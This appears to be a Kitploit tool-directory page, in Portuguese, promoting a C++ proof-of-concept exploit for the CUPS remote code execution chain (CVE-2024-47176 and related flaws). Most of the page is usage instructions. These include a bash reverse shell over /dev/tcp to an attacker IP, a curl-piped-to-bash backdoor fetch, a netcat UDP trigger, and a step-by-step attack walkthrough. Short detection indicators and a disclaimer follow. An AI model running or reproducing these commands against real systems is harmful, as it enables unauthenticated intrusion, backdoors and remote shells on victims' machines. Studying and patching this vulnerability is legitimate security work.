Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Cups-RCE-Exploit — Exploit em C++ para execução remota de código não autenticada no CUPS via cadeia CVE-2024-47176. | Kitploit
Ferramentas/GitHubGitHub/stickxx00/cups-rce-exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubstickxx00/cups-rce-exploit

Cups-RCE-Exploit

Exploit em C++ para execução remota de código não autenticada no CUPS via cadeia CVE-2024-47176.

19há 2 mesesAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploit RCE do CUPS - Cadeia CVE-2024-47176

O que é

Um exploit de prova de conceito totalmente funcional visando a cadeia de vulnerabilidade de execução remota de código do CUPS (Common Unix Printing System) descoberta em Setembro de 2024. Esta cadeia consiste em quatro CVEs — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, e CVE-2024-47177 — que juntas permitem que um atacante remoto não autenticado execute comandos arbitrários em qualquer sistema Linux rodando uma versão vulnerável do CUPS.

Como Funciona

O exploit implanta um servidor IPP (Internet Printing Protocol) malicioso que imita uma impressora de rede. O ataque se desenrola em quatro estágios:

Estágio 1 — Gatilho de Descoberta Um pacote UDP manipulado é enviado para a porta 631 do alvo. O daemon cups-browsed confia neste pacote sem autenticação e inicia uma conexão TCP de volta ao servidor IPP do atacante para buscar atributos da impressora.

Estágio 2 — Entrega de PPD Malicioso O servidor IPP do atacante responde com atributos de impressora que contêm dados não sanitizados. Esses dados fluem através de libcupsfilters e libppd que falham ao validar ou sanitizar a entrada, permitindo que uma diretiva maliciosa FoomaticRipCommandLine seja inserida em um arquivo PPD.

Estágio 3 — Injeção de Comando Quando um trabalho de impressão é enviado para a impressora controlada pelo atacante (automaticamente ou por ação do usuário), o filtro foomatic-rip processa o arquivo PPD e executa o comando injetado com os privilégios do usuário lp.

Estágio 4 — Execução do Payload O comando injetado é executado no sistema alvo. Payloads comuns incluem shells reversos, instalação de backdoor, exfiltração de dados ou preparação para escalonamento de privilégios.

Versões Afetadas

cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1

A maioria das distribuições Linux foram fornecidas com versões afetadas até os patches do final de 2024.

Pré-requisitos

  • Uma máquina Linux com g++ e ferramentas de desenvolvimento padrão
  • Acesso de rede ao alvo (a porta UDP 631 deve ser alcançável)
  • O alvo deve estar rodando cups-browsed escutando na porta UDP 631
  • Recomenda-se root ou sudo para vincular à porta 631 (ou usar uma porta alta como 1631)

Compilação

g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Nenhuma dependência externa. Compila em qualquer distribuição Linux com g++.

Uso

./cups_rce_exploit -l <ATTACKER_IP> -r [options]

Opções

-l, --listener Endereço IP do atacante para o servidor IPP malicioso -r, --reverse Comando a executar no alvo, ou caminho para um arquivo de script -t, --target IP da máquina alvo (envia pacote UDP de gatilho automaticamente) -p, --port Porta para o servidor IPP malicioso (padrão: 631) -s, --spoof Nome de falsificação da impressora (padrão: VulnPrinter) -T, --target-port Porta UDP do alvo (padrão: 631) -h, --help Mostrar mensagem de ajuda

Exemplo de Shell Reverso

Terminal 1 — inicie o listener: nc -lvnp 4444

Terminal 2 — execute o exploit: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Payload a partir de Arquivo

echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100

Modo Servidor com Gatilho Manual

Terminal 1 — inicie o servidor: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"

Terminal 2 — envie gatilho UDP para o alvo: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631

Usando uma Porta Não Privilegiada

./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631

Passo a Passo Completo do Ataque

Passo 1: Configure um listener netcat na sua máquina atacante nc -lvnp 4444

Passo 2: Compile o exploit g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Passo 3: Execute o exploit contra o alvo ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Passo 4: Se um usuário na máquina alvo imprimir uma página de teste ou qualquer documento na impressora maliciosa, você receberá um shell reverso como o usuário lp.

Indicadores de Detecção

  • Pacotes UDP inesperados na porta 631 contendo strings de URI IPP
  • Conexões TCP de saída do cups-browsed para hosts desconhecidos na porta 631
  • Impressoras desconhecidas aparecendo automaticamente na interface web do CUPS
  • Processos iniciados por foomatic-rip ou sob o usuário lp

Aviso Legal

AVISO LEGAL

Este software é fornecido apenas para fins educacionais e de pesquisa. Destina-se a ajudar profissionais de segurança, testadores de penetração e administradores de sistemas a entender, detectar e se defender contra as vulnerabilidades descritas.

O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar é ilegal e pode violar o Computer Fraud and Abuse Act (CFAA), o Computer Misuse Act e leis similares em outras jurisdições.

Casos de uso autorizados incluem avaliações de segurança em sistemas que você possui, testes de penetração com autorização por escrito, programas de bug bounty com escopo explícito, pesquisa acadêmica em ambientes de laboratório controlados e competições CTF.

O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado por este software. Os usuários são os únicos responsáveis pelo cumprimento de todas as leis aplicáveis e pela obtenção da devida autorização antes de testar.

Ao usar este software, você aceita estes termos.

Referências

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org

Baixar ferramenta